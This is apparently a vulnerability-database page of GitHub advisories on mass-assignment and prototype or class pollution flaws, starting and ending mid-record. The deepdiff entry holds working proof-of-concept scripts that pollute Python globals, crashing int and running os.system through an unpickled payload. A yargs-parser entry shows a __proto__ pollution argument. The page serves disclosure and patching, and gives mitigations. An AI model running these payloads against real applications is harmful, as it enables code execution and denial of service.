    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FlowiseAI: Evaluation create+update mass-assignment allows cross-workspace evaluation takeover"
}

GHSA-MW26-5G2V-HQW3

Vulnerability from github – Published: 2025-09-03 22:25 – Updated: 2025-09-10 20:49
VLAI
Summary
DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more
Details

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle

from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))
$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

# ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.6.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "deepdiff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "8.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58367"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T22:25:09Z",
    "nvd_published_at": "2025-09-05T22:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).\n\nThe gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.\n\nDepending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.\n\n### Details\n\nThe `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).\n\nWhen it takes a dictionary, it is usually in the following format:\n```py\nDelta({\"dictionary_item_added\": {\"root.myattr[\u0027foo\u0027]\": \"bar\"}})\n```\n\nTrying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23\n\nHowever, this code only runs when parsing the path from a string.\nThe `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53\n\nThis means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:\n\n```py\nDelta(\n    {\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"__init__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"PWNED\", \"GET\"),\n            ): 1337\n        }\n    },\n)\n```\n\nGoing back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.\nCare was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98\nHowever, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.\n\nThis then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.\n\n#### Using dict\n\nUsually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.\nHowever, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.\nPassing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.\n\n### Proof of Concept\n\nWith deepdiff 8.6.0 installed, run the following scripts for each proof of concept.\nAll input to `Delta` is assumed to be user-controlled.\n\n#### Denial of Service\n\nThis script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.\n\n```py\n# ------------[ Setup ]------------\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_int = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"__builtins__\", \"GET\"),\n                (\"int\", \"GET\"),\n            ): \"no longer a class\"\n        },\n    }\n)\n\n\nassert isinstance(pollute_int, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Before pollution\nprint(int(\"41\") + 1)\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_int)\n\nprint(int(\"1337\"))\n```\n\n```shell\n$ python poc_dos.py\n42\nTraceback (most recent call last):\n  File \"/tmp/poc_dos.py\", line 43, in \u003cmodule\u003e\n    print(int(\"1337\"))\nTypeError: \u0027str\u0027 object is not callable\n```\n\n#### Remote Code Execution\n\nThis script will create a file at `/tmp/pwned` with the output of `id`.\n\n```py\n# ------------[ Setup ]------------\nimport os\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_safe_to_import = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"set_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"sys\", \"GET\"),\n                (\"modules\", \"GETATTR\"),\n                (\"deepdiff.serialization\", \"GET\"),\n                (\"SAFE_TO_IMPORT\", \"GETATTR\"),\n            ): set([\"posix.system\"])\n        },\n    }\n)\n\n\n# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/\nclass RCE:\n    def __reduce__(self):\n        cmd = \"id \u003e /tmp/pwned\"\n        return os.system, (cmd,)\n\n\n# Wrap object with dictionary so that Delta does not crash\nrce_pickle = pickle.dumps({\"_\": RCE()})\n\nassert isinstance(pollute_safe_to_import, bytes)\nassert isinstance(rce_pickle, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_safe_to_import)\n\nDelta(rce_pickle)  # no need to apply this Delta\n```\n\n```shell\n$ python poc_rce.py\n$ cat /tmp/pwned\nuid=1000(dtc) gid=100(users) groups=100(users),1(wheel)\n```\n\n### Who is affected?\n\nOnly applications that pass (untrusted) user input directly into `Delta` are affected.\n\nWhile input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.\n\n### Mitigations\n\nA straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.\nThis would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,\nand possibly in `deepdiff.delta.Delta._get_elements_and_details`.\nExample code that raises an error when traversing these properties:\n```py\nif elem.startswith(\"__\") and elem.endswith(\"__\"):\n  raise ValueError(\"traversing dunder attributes is not allowed\")\n```\n\nHowever, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).\nThis was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180",
  "id": "GHSA-mw26-5g2v-hqw3",
  "modified": "2025-09-10T20:49:38Z",
  "published": "2025-09-03T22:25:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/issues/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/commit/2015f0a4bcdbc3a5b27652e38fe97b3ee13ac15f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/commit/c69c06c13f75e849c770ade3f556cd16209fd183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/seperman/deepdiff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/releases/tag/8.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more"
}

GHSA-P33M-7W7F-GMJ8

Vulnerability from github – Published: 2021-12-10 20:05 – Updated: 2021-07-29 16:41
VLAI
Summary
Uncontrolled Resource Consumption in fun-map
Details

fun-map through 3.3.1 is vulnerable to Prototype Pollution. The function assocInM could be tricked into adding or modifying properties of 'Object.prototype' using a 'proto' payload.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fun-map"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7644"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-25T20:37:47Z",
    "nvd_published_at": "2020-04-28T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "fun-map through 3.3.1 is vulnerable to Prototype Pollution. The function assocInM could be tricked into adding or modifying properties of \u0027Object.prototype\u0027 using a \u0027__proto__\u0027 payload.",
  "id": "GHSA-p33m-7w7f-gmj8",
  "modified": "2021-07-29T16:41:29Z",
  "published": "2021-12-10T20:05:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7644"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nathan7/fun-map/blob/master/index.js#L137,"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-FUNMAP-564436"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in fun-map"
}

GHSA-P9PC-299P-VXGP

Vulnerability from github – Published: 2020-09-04 18:00 – Updated: 2022-08-02 21:44
VLAI
Summary
yargs-parser Vulnerable to Prototype Pollution
Details

Affected versions of yargs-parser are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --foo.__proto__.bar baz' adds a bar property with value baz to all objects. This is only exploitable if attackers have control over the arguments being passed to yargs-parser.

Recommendation

Upgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "yargs-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "13.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "yargs-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0.0"
            },
            {
              "fixed": "15.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "yargs-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.0.0"
            },
            {
              "fixed": "18.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "yargs-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T19:01:32Z",
    "nvd_published_at": "2020-03-16T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Affected versions of `yargs-parser` are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects.  \nParsing the argument `--foo.__proto__.bar baz\u0027` adds a `bar` property with value `baz` to all objects. This is only exploitable if attackers have control over the arguments being passed to `yargs-parser`.\n\n\n\n## Recommendation\n\nUpgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.",
  "id": "GHSA-p9pc-299p-vxgp",
  "modified": "2022-08-02T21:44:02Z",
  "published": "2020-09-04T18:00:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/yargs-parser/commit/1c417bd0b42b09c475ee881e36d292af4fa2cc36"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yargs/yargs-parser/commit/63810ca1ae1a24b08293a4d971e70e058c7a41e2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yargs/yargs-parser"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-YARGSPARSER-560381"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1500"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yargs-parser Vulnerable to Prototype Pollution"
}

GHSA-PGPF-M8M4-6CG6

Vulnerability from github – Published: 2026-03-12 14:07 – Updated: 2026-03-12 14:07
VLAI
Summary
Winter vulnerable to privilege escalation by authenticated backend users
Details

Impact

Affected versions of Winter CMS allowed authenticated backend users to escalate their accounts level of access to the system by modifying the roles / permissions assigned to their account through specially crafted requests to the backend while logged in.

To actively exploit this security issue, an attacker would need access to the Backend with a user account with any level of access.

The Winter CMS maintainers strongly recommend that all Winter CMS sites that have any reliance on the roles & permissions system to update immediately. Security fixes have been backported to all major versions of Winter (1.0, 1.1, and 1.2).

Patches

Multiple fixes and defence in depth has been applied to prevent current and future privilege escalation attacks at the lowest level possible.

This security issue has been fixed as of https://wintercms.com/releases/v1.0.477, https://wintercms.com/releases/v1.1.12, https://wintercms.com/releases/v1.2.12.

Workarounds

If you cannot upgrade, you may apply the changes from the releases to your Winter CMS installation manually to resolve this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "winter/wn-backend-module"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.2.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "winter/wn-backend-module"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "1.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "winter/wn-backend-module"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.477"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:07:39Z",
    "nvd_published_at": "2026-03-11T22:16:32Z",
    "severity": "CRITICAL"
  },
  "details": "## Impact\nAffected versions of Winter CMS allowed authenticated backend users to escalate their accounts level of access to the system by modifying the roles / permissions assigned to their account through specially crafted requests to the backend while logged in.\n\nTo actively exploit this security issue, an attacker would need access to the Backend with a user account with any level of access.\n\nThe Winter CMS maintainers strongly recommend that all Winter CMS sites that have any reliance on the roles \u0026 permissions system to update immediately. Security fixes have been backported to all major versions of Winter (1.0, 1.1, and 1.2).\n\n## Patches\nMultiple fixes and defence in depth has been applied to prevent current and future privilege escalation attacks at the lowest level possible.\n\nThis security issue has been fixed as of https://wintercms.com/releases/v1.0.477, https://wintercms.com/releases/v1.1.12, https://wintercms.com/releases/v1.2.12.\n\n## Workarounds\nIf you cannot upgrade, you may apply the changes from the releases to your Winter CMS installation manually to resolve this issue.",
  "id": "GHSA-pgpf-m8m4-6cg6",
  "modified": "2026-03-12T14:07:39Z",
  "published": "2026-03-12T14:07:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wintercms/winter/security/advisories/GHSA-pgpf-m8m4-6cg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27591"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wintercms/winter"
    },
    {
      "type": "WEB",
      "url": "https://wintercms.com/releases/v1.0.477"
    },
    {
      "type": "WEB",
      "url": "https://wintercms.com/releases/v1.1.12"
    },
    {
      "type": "WEB",
      "url": "https://wintercms.com/releases/v1.2.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Winter vulnerable to privilege escalation by authenticated backend users"
}

GHSA-PJ86-CFQH-VQX6

Vulnerability from github – Published: 2025-12-01 18:59 – Updated: 2025-12-02 15:11
VLAI
Summary
Withdrawn Advisory: express improperly controls modification of query properties
Details

Withdrawn Advisory

This advisory has been withdrawn because it describes a correctness bug, not a vulnerability with real security impact. This link is maintained to preserve external references.

Original Description

Impact

when using the extended query parser in express ('query parser': 'extended'), the request.query object inherits all object prototype properties, but these properties can be overwritten by query string parameter keys that match the property names

[!IMPORTANT]
the extended query parser is the default in express 4; this was changed in express 5 which by default uses the simple query parser

Patches

the issue has been patched to ensure request.query is a plain object so request.query no longer has object prototype properties. this brings the default behavior of extended query parsing in line with express's default simple query parser

Workaround

this only impacts users using extended query parsing ('query parser': 'extended'), which is the default in express 4, but not express 5. all users are encouraged to upgrade to the patched versions, but can otherwise work around this issue:

provide qs directly and specify plainObjects: true

app.set('query parser',
  function (str) {
    return qs.parse(str, {
      plainObjects: true
  });
});
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "express"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "express"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-51999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-01T18:59:17Z",
    "nvd_published_at": "2025-12-01T21:15:49Z",
    "severity": "LOW"
  },
  "details": "## Withdrawn Advisory\nThis advisory has been withdrawn because it describes a correctness bug, not a vulnerability with real security impact. This link is maintained to preserve external references.\n\n## Original Description\n### Impact\n\nwhen using the extended query parser in express (`\u0027query parser\u0027: \u0027extended\u0027`), the `request.query` object inherits all object prototype properties, but these properties can be overwritten by query string parameter keys that match the property names\n\n\u003e [!IMPORTANT]  \n\u003e the extended query parser is the default in express 4; this was changed in express 5 which by default uses the simple query parser\n\n### Patches\n\nthe issue has been patched to ensure `request.query` is a plain object so `request.query` no longer has object prototype properties. this brings the default behavior of extended query parsing in line with express\u0027s default simple query parser\n\n### Workaround\n\nthis only impacts users using extended query parsing (`\u0027query parser\u0027: \u0027extended\u0027`), which is the default in express 4, but not express 5.  all users are encouraged to upgrade to the patched versions, but can otherwise work around this issue:\n\n#### provide `qs` directly and specify `plainObjects: true`\n\n```js\napp.set(\u0027query parser\u0027,\n  function (str) {\n    return qs.parse(str, {\n      plainObjects: true\n  });\n});\n```",
  "id": "GHSA-pj86-cfqh-vqx6",
  "modified": "2025-12-02T15:11:19Z",
  "published": "2025-12-01T18:59:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/express/security/advisories/GHSA-pj86-cfqh-vqx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51999"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/express/commit/2f64f68c37c64ae333e41ff38032d21860f22255"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/expressjs/express"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/express/releases/tag/4.22.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/express/releases/tag/v5.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Withdrawn Advisory: express improperly controls modification of query properties",
  "withdrawn": "2025-12-02T15:11:19Z"
}

GHSA-PP75-XFPW-37G9

Vulnerability from github – Published: 2021-05-10 19:16 – Updated: 2021-04-19 22:57
VLAI
Summary
Prototype pollution in grpc and @grpc/grpc-js
Details

"The package grpc before 1.24.4 and the package @grpc/grpc-js before 1.1.8 are vulnerable to Prototype Pollution via loadPackageDefinition."

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "grpc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@grpc/grpc-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7768"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-19T22:57:05Z",
    "nvd_published_at": "2020-11-11T11:15:00Z",
    "severity": "HIGH"
  },
